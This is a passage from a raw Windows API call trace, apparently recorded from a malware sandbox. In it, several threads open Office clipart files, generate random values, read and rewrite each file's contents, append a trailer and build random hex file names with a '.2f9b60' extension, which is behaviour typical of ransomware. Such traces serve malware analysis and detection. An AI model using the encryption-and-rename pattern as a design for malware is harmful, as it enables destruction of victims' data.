Size=0x20) returned 0x423a31a0 [0161.051] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a31a0) returned 1 [0161.051] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41edb4e0) returned 1 [0161.051] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d22d00) returned 1 [0161.051] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8667c0) returned 1 [0161.051] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059c90) returned 1 [0161.051] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a31a0 [0161.052] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059c90 [0161.052] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8667c0 [0161.052] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a31d0 [0161.053] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a31d0) returned 1 [0161.053] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a31d0 [0161.053] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3200 [0161.053] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3230 [0161.053] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a3230) returned 1 [0161.054] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8667c0) returned 1 [0161.054] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059c90) returned 1 [0161.054] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x1ce13af0 [0161.054] SetFilePointerEx (in: hFile=0x1810, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0161.054] WriteFile (hFile=0x1810, lpBuffer=0x1ce13af0, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x1eb9fe10, lpOverlapped=0x0) [0200.357] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97c60 [0200.357] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866b40 [0200.358] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260440 [0200.358] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260440) returned 1 [0200.358] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x42c0f0e0 [0200.358] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260440 [0200.359] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202632f0 [0200.360] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202632f0) returned 1 [0200.360] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866b40) returned 1 [0200.361] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c60) returned 1 [0200.361] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d8400 [0200.361] sprintf (in: _Dest=0x1b7d8400, _Format="%c%c" | out: _Dest="0c") returned 2 [0200.361] sprintf (in: _Dest=0x1b7d8402, _Format="%c%c" | out: _Dest="7a") returned 2 [0200.361] sprintf (in: _Dest=0x1b7d8404, _Format="%c%c" | out: _Dest="4e") returned 2 [0200.361] sprintf (in: _Dest=0x1b7d8406, _Format="%c%c" | out: _Dest="fd") returned 2 [0200.361] sprintf (in: _Dest=0x1b7d8408, _Format="%c%c" | out: _Dest="9c") returned 2 [0200.361] sprintf (in: _Dest=0x1b7d840a, _Format="%c%c" | out: _Dest="f0") returned 2 [0200.361] sprintf (in: _Dest=0x1b7d840c, _Format="%c%c" | out: _Dest="45") returned 2 [0200.361] sprintf (in: _Dest=0x1b7d840e, _Format="%c%c" | out: _Dest="64") returned 2 [0200.361] sprintf (in: _Dest=0x1b7d8410, _Format="%c%c" | out: _Dest="a5") returned 2 [0200.361] sprintf (in: _Dest=0x1b7d8412, _Format="%c%c" | out: _Dest="4e") returned 2 [0200.361] sprintf (in: _Dest=0x1b7d8414, _Format="%c%c" | out: _Dest="eb") returned 2 [0200.361] sprintf (in: _Dest=0x1b7d8416, _Format="%c%c" | out: _Dest="e3") returned 2 [0200.361] sprintf (in: _Dest=0x1b7d8418, _Format="%c%c" | out: _Dest="52") returned 2 [0200.362] sprintf (in: _Dest=0x1b7d841a, _Format="%c%c" | out: _Dest="68") returned 2 [0200.362] sprintf (in: _Dest=0x1b7d841c, _Format="%c%c" | out: _Dest="dd") returned 2 [0200.362] sprintf (in: _Dest=0x1b7d841e, _Format="%c%c" | out: _Dest="68") returned 2 [0200.362] sprintf (in: _Dest=0x1b7d8420, _Format="%c%c" | out: _Dest="e6") returned 2 [0200.362] sprintf (in: _Dest=0x1b7d8422, _Format="%c%c" | out: _Dest="84") returned 2 [0200.362] sprintf (in: _Dest=0x1b7d8424, _Format="%c%c" | out: _Dest="7b") returned 2 [0200.362] sprintf (in: _Dest=0x1b7d8426, _Format="%c%c" | out: _Dest="82") returned 2 [0200.362] sprintf (in: _Dest=0x1b7d8428, _Format="%c%c" | out: _Dest="13") returned 2 [0200.362] sprintf (in: _Dest=0x1b7d842a, _Format="%c%c" | out: _Dest="e8") returned 2 [0200.362] sprintf (in: _Dest=0x1b7d842c, _Format="%c%c" | out: _Dest="b4") returned 2 [0200.362] sprintf (in: _Dest=0x1b7d842e, _Format="%c%c" | out: _Dest="40") returned 2 [0200.362] RtlInitAnsiString (in: DestinationString=0x1eb9fe88, SourceString="0c7a4efd9cf04564a54eebe35268dd68e6847b8213e8b440" | out: DestinationString="0c7a4efd9cf04564a54eebe35268dd68e6847b8213e8b440") [0200.362] RtlAnsiStringToUnicodeString (in: DestinationString=0x1eb9fe58, SourceString="0c7a4efd9cf04564a54eebe35268dd68e6847b8213e8b440", AllocateDestinationString=1 | out: DestinationString="0c7a4efd9cf04564a54eebe35268dd68e6847b8213e8b440") returned 0x0 [0200.362] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x430a07c0 [0200.363] wcscat (in: _Dest=0x431e4480, _Source="0c7a4efd9cf0" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\0c7a4efd9cf0") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\0c7a4efd9cf0" [0200.363] wcscat (in: _Dest=0x431e4480, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\0c7a4efd9cf0.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\0c7a4efd9cf0.2f9b60" [0200.363] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\0c7a4efd9cf0.2f9b60", NtPathName=0x1eb9fe30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\0c7a4efd9cf0.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0200.363] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x431edaa0 Thread: id = 1501 os_tid = 0x19c8 [0120.720] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00262_.wmf")) returned 0x20 [0122.438] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF", dwFileAttributes=0x20) returned 1 [0122.470] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00262_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xfb0 [0122.708] GetFileSizeEx (in: hFile=0xfb0, lpFileSize=0x1ec7fa80 | out: lpFileSize=0x1ec7fa80*=2556) returned 1 [0122.708] SetFilePointerEx (in: hFile=0xfb0, liDistanceToMove=0x9f8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.708] ReadFile (in: hFile=0xfb0, lpBuffer=0x1ec7fa00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1ec7fa48, lpOverlapped=0x0 | out: lpBuffer=0x1ec7fa00*, lpNumberOfBytesRead=0x1ec7fa48*=0x4, lpOverlapped=0x0) returned 1 [0122.766] SetFilePointerEx (in: hFile=0xfb0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.766] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e590 [0122.766] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e6e0 [0122.766] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050ece0 [0122.766] NtQuerySystemTime (in: CurrentTime=0x1ec7f940 | out: CurrentTime=0x1ec7f940*=132462177281458000) returned 0x0 [0122.766] RtlRandomEx (in: Seed=0x1ec7f930 | out: Seed=0x1ec7f930) returned 0x10e7e6bf [0122.766] RtlRandomEx (in: Seed=0x1ec7f930 | out: Seed=0x1ec7f930) returned 0x5e8ba62f [0122.766] RtlRandomEx (in: Seed=0x1ec7f930 | out: Seed=0x1ec7f930) returned 0x4c56b0f0 [0122.766] RtlRandomEx (in: Seed=0x1ec7f930 | out: Seed=0x1ec7f930) returned 0x6eca03f [0122.766] RtlRandomEx (in: Seed=0x1ec7f930 | out: Seed=0x1ec7f930) returned 0x3f9d854e [0122.766] RtlRandomEx (in: Seed=0x1ec7f930 | out: Seed=0x1ec7f930) returned 0x3af932ab [0122.766] RtlRandomEx (in: Seed=0x1ec7f930 | out: Seed=0x1ec7f930) returned 0x236424fd [0122.766] RtlRandomEx (in: Seed=0x1ec7f930 | out: Seed=0x1ec7f930) returned 0x70628c0c [0122.766] RtlRandomEx (in: Seed=0x1ec7f930 | out: Seed=0x1ec7f930) returned 0x290ed4e5 [0122.766] RtlRandomEx (in: Seed=0x1ec7f930 | out: Seed=0x1ec7f930) returned 0x18042d29 [0122.766] RtlRandomEx (in: Seed=0x1ec7f930 | out: Seed=0x1ec7f930) returned 0xbc494f2 [0122.766] RtlRandomEx (in: Seed=0x1ec7f930 | out: Seed=0x1ec7f930) returned 0x43d01075 [0122.766] RtlRandomEx (in: Seed=0x1ec7f930 | out: Seed=0x1ec7f930) returned 0x11da1640 [0122.766] RtlRandomEx (in: Seed=0x1ec7f930 | out: Seed=0x1ec7f930) returned 0x6c8d5e41 [0122.766] RtlRandomEx (in: Seed=0x1ec7f930 | out: Seed=0x1ec7f930) returned 0x669800ea [0122.766] RtlRandomEx (in: Seed=0x1ec7f930 | out: Seed=0x1ec7f930) returned 0x76119704 [0122.766] RtlRandomEx (in: Seed=0x1ec7f930 | out: Seed=0x1ec7f930) returned 0x6df1fed9 [0122.766] RtlRandomEx (in: Seed=0x1ec7f930 | out: Seed=0x1ec7f930) returned 0x7d2fb625 [0122.766] RtlRandomEx (in: Seed=0x1ec7f930 | out: Seed=0x1ec7f930) returned 0xc067ed3 [0122.766] RtlRandomEx (in: Seed=0x1ec7f930 | out: Seed=0x1ec7f930) returned 0x1b16451f [0122.766] RtlRandomEx (in: Seed=0x1ec7f930 | out: Seed=0x1ec7f930) returned 0x7d605a21 [0122.766] RtlRandomEx (in: Seed=0x1ec7f930 | out: Seed=0x1ec7f930) returned 0x7762517a [0122.766] RtlRandomEx (in: Seed=0x1ec7f930 | out: Seed=0x1ec7f930) returned 0xe5e6acb [0122.766] RtlRandomEx (in: Seed=0x1ec7f930 | out: Seed=0x1ec7f930) returned 0x28be5867 [0122.766] RtlRandomEx (in: Seed=0x1ec7f930 | out: Seed=0x1ec7f930) returned 0x39316651 [0122.766] RtlRandomEx (in: Seed=0x1ec7f930 | out: Seed=0x1ec7f930) returned 0x153d16a5 [0122.767] RtlRandomEx (in: Seed=0x1ec7f930 | out: Seed=0x1ec7f930) returned 0x492ad2f9 [0122.767] RtlRandomEx (in: Seed=0x1ec7f930 | out: Seed=0x1ec7f930) returned 0x3eaa6f41 [0122.767] RtlRandomEx (in: Seed=0x1ec7f930 | out: Seed=0x1ec7f930) returned 0x34a5d9b6 [0122.767] RtlRandomEx (in: Seed=0x1ec7f930 | out: Seed=0x1ec7f930) returned 0x22602965 [0122.767] RtlRandomEx (in: Seed=0x1ec7f930 | out: Seed=0x1ec7f930) returned 0x6f19ceb0 [0122.767] RtlRandomEx (in: Seed=0x1ec7f930 | out: Seed=0x1ec7f930) returned 0x1b46827 [0122.773] ReadFile (in: hFile=0xfb0, lpBuffer=0x41ebd170, nNumberOfBytesToRead=0x9fc, lpNumberOfBytesRead=0x1ec7f930, lpOverlapped=0x0 | out: lpBuffer=0x41ebd170*, lpNumberOfBytesRead=0x1ec7f930*=0x9fc, lpOverlapped=0x0) returned 1 [0122.773] SetFilePointerEx (in: hFile=0xfb0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.773] WriteFile (in: hFile=0xfb0, lpBuffer=0x41ec0d80*, nNumberOfBytesToWrite=0x9fc, lpNumberOfBytesWritten=0x1ec7f934, lpOverlapped=0x0 | out: lpBuffer=0x41ec0d80*, lpNumberOfBytesWritten=0x1ec7f934*=0x9fc, lpOverlapped=0x0) returned 1 [0160.796] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1ca0 [0160.796] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1cd0 [0160.797] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1cd0) returned 1 [0160.797] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41ec0d80) returned 1 [0160.797] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41ebd170) returned 1 [0160.797] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503e90) returned 1 [0160.797] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97da0) returned 1 [0160.797] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a1cd0 [0160.797] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97da0 [0160.798] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503e90 [0160.798] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1d00 [0160.798] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1d00) returned 1 [0160.798] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a1d00 [0160.798] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1d30 [0160.799] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1d60 [0160.799] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1d60) returned 1 [0160.799] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503e90) returned 1 [0160.799] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97da0) returned 1 [0160.799] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x1ce12b30 [0160.800] SetFilePointerEx (in: hFile=0xfb0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0160.800] WriteFile (in: hFile=0xfb0, lpBuffer=0x1ce12b30*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x1ec7fa50, lpOverlapped=0x0 | out: lpBuffer=0x1ce12b30*, lpNumberOfBytesWritten=0x1ec7fa50*=0x10a, lpOverlapped=0x0) returned 1 [0165.441] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059290 [0165.441] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869640 [0165.442] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050ee30 [0165.442] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050ee30) returned 1 [0165.442] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d1c0 [0165.442] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050ee30 [0165.442] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d990 [0165.443] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d990) returned 1 [0165.443] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869640) returned 1 [0165.443] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059290) returned 1 [0165.443] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9fc70 [0165.443] sprintf (in: _Dest=0x1cd9fc70, _Format="%c%c" | out: _Dest="16") returned 2 [0165.443] sprintf (in: _Dest=0x1cd9fc72, _Format="%c%c" | out: _Dest="85") returned 2 [0165.443] sprintf (in: _Dest=0x1cd9fc74, _Format="%c%c" | out: _Dest="a6") returned 2 [0165.443] sprintf (in: _Dest=0x1cd9fc76, _Format="%c%c" | out: _Dest="29") returned 2 [0165.444] sprintf (in: _Dest=0x1cd9fc78, _Format="%c%c" | out: _Dest="e0") returned 2 [0165.444] sprintf (in: _Dest=0x1cd9fc7a, _Format="%c%c" | out: _Dest="72") returned 2 [0165.444] sprintf (in: _Dest=0x1cd9fc7c, _Format="%c%c" | out: _Dest="cf") returned 2 [0165.444] sprintf (in: _Dest=0x1cd9fc7e, _Format="%c%c" | out: _Dest="87") returned 2 [0165.444] sprintf (in: _Dest=0x1cd9fc80, _Format="%c%c" | out: _Dest="a4") returned 2 [0165.444] sprintf (in: _Dest=0x1cd9fc82, _Format="%c%c" | out: _Dest="a7") returned 2 [0165.444] sprintf (in: _Dest=0x1cd9fc84, _Format="%c%c" | out: _Dest="56") returned 2 [0165.444] sprintf (in: _Dest=0x1cd9fc86, _Format="%c%c" | out: _Dest="d6") returned 2 [0165.444] sprintf (in: _Dest=0x1cd9fc88, _Format="%c%c" | out: _Dest="5a") returned 2 [0165.444] sprintf (in: _Dest=0x1cd9fc8a, _Format="%c%c" | out: _Dest="c2") returned 2 [0165.444] sprintf (in: _Dest=0x1cd9fc8c, _Format="%c%c" | out: _Dest="66") returned 2 [0165.444] sprintf (in: _Dest=0x1cd9fc8e, _Format="%c%c" | out: _Dest="bf") returned 2 [0165.444] sprintf (in: _Dest=0x1cd9fc90, _Format="%c%c" | out: _Dest="b5") returned 2 [0165.444] sprintf (in: _Dest=0x1cd9fc92, _Format="%c%c" | out: _Dest="1d") returned 2 [0165.444] sprintf (in: _Dest=0x1cd9fc94, _Format="%c%c" | out: _Dest="85") returned 2 [0165.444] sprintf (in: _Dest=0x1cd9fc96, _Format="%c%c" | out: _Dest="a7") returned 2 [0165.444] sprintf (in: _Dest=0x1cd9fc98, _Format="%c%c" | out: _Dest="ec") returned 2 [0165.444] sprintf (in: _Dest=0x1cd9fc9a, _Format="%c%c" | out: _Dest="57") returned 2 [0165.444] sprintf (in: _Dest=0x1cd9fc9c, _Format="%c%c" | out: _Dest="00") returned 2 [0165.444] sprintf (in: _Dest=0x1cd9fc9e, _Format="%c%c" | out: _Dest="ef") returned 2 [0165.444] RtlInitAnsiString (in: DestinationString=0x1ec7fac8, SourceString="1685a629e072cf87a4a756d65ac266bfb51d85a7ec5700ef" | out: DestinationString="1685a629e072cf87a4a756d65ac266bfb51d85a7ec5700ef") [0165.444] RtlAnsiStringToUnicodeString (in: DestinationString=0x1ec7fa98, SourceString="1685a629e072cf87a4a756d65ac266bfb51d85a7ec5700ef", AllocateDestinationString=1 | out: DestinationString="1685a629e072cf87a4a756d65ac266bfb51d85a7ec5700ef") returned 0x0 [0165.444] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ce148f0 [0165.445] RtlFreeAnsiString (AnsiString="1") [0165.445] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9fc70) returned 1 [0165.445] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0165.446] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050ee30) returned 1 [0165.446] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce12b30) returned 1 [0165.446] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1d00) returned 1 [0165.446] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1d30) returned 1 [0165.446] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1cd0) returned 1 [0165.447] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1ca0) returned 1 [0165.447] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e6e0) returned 1 [0165.447] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050ed10) returned 1 [0165.447] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050ed40) returned 1 [0165.447] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x42c30950 [0165.447] wcscat (in: _Dest=0x42c30950, _Source="1685a629e072" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\1685a629e072") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\1685a629e072" [0165.447] wcscat (in: _Dest=0x42c30950, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\1685a629e072.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\1685a629e072.2f9b60" [0165.447] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\1685a629e072.2f9b60", NtPathName=0x1ec7fa70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\1685a629e072.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0165.447] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x1ce22560 Thread: id = 1502 os_tid = 0x19cc [0120.723] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00265_.wmf")) returned 0x20 [0122.444] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF", dwFileAttributes=0x20) returned 1 [0122.480] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00265_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x15e4 [0123.472] GetFileSizeEx (in: hFile=0x15e4, lpFileSize=0x1ecff9e0 | out: lpFileSize=0x1ecff9e0*=5752) returned 1 [0123.472] SetFilePointerEx (in: hFile=0x15e4, liDistanceToMove=0x1674, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.472] ReadFile (in: hFile=0x15e4, lpBuffer=0x1ecff960, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1ecff9a8, lpOverlapped=0x0 | out: lpBuffer=0x1ecff960*, lpNumberOfBytesRead=0x1ecff9a8*=0x4, lpOverlapped=0x0) returned 1 [0123.604] SetFilePointerEx (in: hFile=0x15e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.604] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82af60 [0123.604] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f220 [0123.604] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050ddb0 [0123.605] NtQuerySystemTime (in: CurrentTime=0x1ecff8a0 | out: CurrentTime=0x1ecff8a0*=132462177289882000) returned 0x0 [0123.605] RtlRandomEx (in: Seed=0x1ecff890 | out: Seed=0x1ecff890) returned 0x391b24aa [0123.605] RtlRandomEx (in: Seed=0x1ecff890 | out: Seed=0x1ecff890) returned 0x308534d8 [0123.605] RtlRandomEx (in: Seed=0x1ecff890 | out: Seed=0x1ecff890) returned 0x2f9dc48d [0123.605] RtlRandomEx (in: Seed=0x1ecff890 | out: Seed=0x1ecff890) returned 0x6d0e6ee0 [0123.605] RtlRandomEx (in: Seed=0x1ecff890 | out: Seed=0x1ecff890) returned 0x65e39d43 [0123.605] RtlRandomEx (in: Seed=0x1ecff890 | out: Seed=0x1ecff890) returned 0x645ca5c2 [0123.605] RtlRandomEx (in: Seed=0x1ecff890 | out: Seed=0x1ecff890) returned 0x275f7b2c [0123.605] RtlRandomEx (in: Seed=0x1ecff890 | out: Seed=0x1ecff890) returned 0x778bd6a7 [0123.605] RtlRandomEx (in: Seed=0x1ecff890 | out: Seed=0x1ecff890) returned 0x5efae7dc [0123.605] RtlRandomEx (in: Seed=0x1ecff890 | out: Seed=0x1ecff890) returned 0x7d833377 [0123.605] RtlRandomEx (in: Seed=0x1ecff890 | out: Seed=0x1ecff890) returned 0x7fc4238 [0123.605] RtlRandomEx (in: Seed=0x1ecff890 | out: Seed=0x1ecff890) returned 0x496ea056 [0123.605] RtlRandomEx (in: Seed=0x1ecff890 | out: Seed=0x1ecff890) returned 0x7f1881c3 [0123.605] RtlRandomEx (in: Seed=0x1ecff890 | out: Seed=0x1ecff890) returned 0x3c066e95 [0123.605] RtlRandomEx (in: Seed=0x1ecff890 | out: Seed=0x1ecff890) returned 0x84fd380 [0123.605] RtlRandomEx (in: Seed=0x1ecff890 | out: Seed=0x1ecff890) returned 0x7a5aa35b [0123.605] RtlRandomEx (in: Seed=0x1ecff890 | out: Seed=0x1ecff890) returned 0x3c6b6915 [0123.605] RtlRandomEx (in: Seed=0x1ecff890 | out: Seed=0x1ecff890) returned 0x62a211bb [0123.605] RtlRandomEx (in: Seed=0x1ecff890 | out: Seed=0x1ecff890) returned 0x561fb0db [0123.605] RtlRandomEx (in: Seed=0x1ecff890 | out: Seed=0x1ecff890) returned 0x10c38164 [0123.605] RtlRandomEx (in: Seed=0x1ecff890 | out: Seed=0x1ecff890) returned 0x60057894 [0123.605] RtlRandomEx (in: Seed=0x1ecff890 | out: Seed=0x1ecff890) returned 0x110dc6e3 [0123.605] RtlRandomEx (in: Seed=0x1ecff890 | out: Seed=0x1ecff890) returned 0x60dc27b7 [0123.605] RtlRandomEx (in: Seed=0x1ecff890 | out: Seed=0x1ecff890) returned 0x40729c41 [0123.605] RtlRandomEx (in: Seed=0x1ecff890 | out: Seed=0x1ecff890) returned 0x525bb23e [0123.605] RtlRandomEx (in: Seed=0x1ecff890 | out: Seed=0x1ecff890) returned 0x1b43d2f0 [0123.605] RtlRandomEx (in: Seed=0x1ecff890 | out: Seed=0x1ecff890) returned 0x308534d8 [0123.605] RtlRandomEx (in: Seed=0x1ecff890 | out: Seed=0x1ecff890) returned 0x2563d6a9 [0123.605] RtlRandomEx (in: Seed=0x1ecff890 | out: Seed=0x1ecff890) returned 0x69b495d1 [0123.605] RtlRandomEx (in: Seed=0x1ecff890 | out: Seed=0x1ecff890) returned 0xdb3ce2b [0123.605] RtlRandomEx (in: Seed=0x1ecff890 | out: Seed=0x1ecff890) returned 0x59894315 [0123.605] RtlRandomEx (in: Seed=0x1ecff890 | out: Seed=0x1ecff890) returned 0x47ec56c0 [0123.616] ReadFile (in: hFile=0x15e4, lpBuffer=0x1ce73da0, nNumberOfBytesToRead=0x1678, lpNumberOfBytesRead=0x1ecff890, lpOverlapped=0x0 | out: lpBuffer=0x1ce73da0*, lpNumberOfBytesRead=0x1ecff890*=0x1678, lpOverlapped=0x0) returned 1 [0123.974] 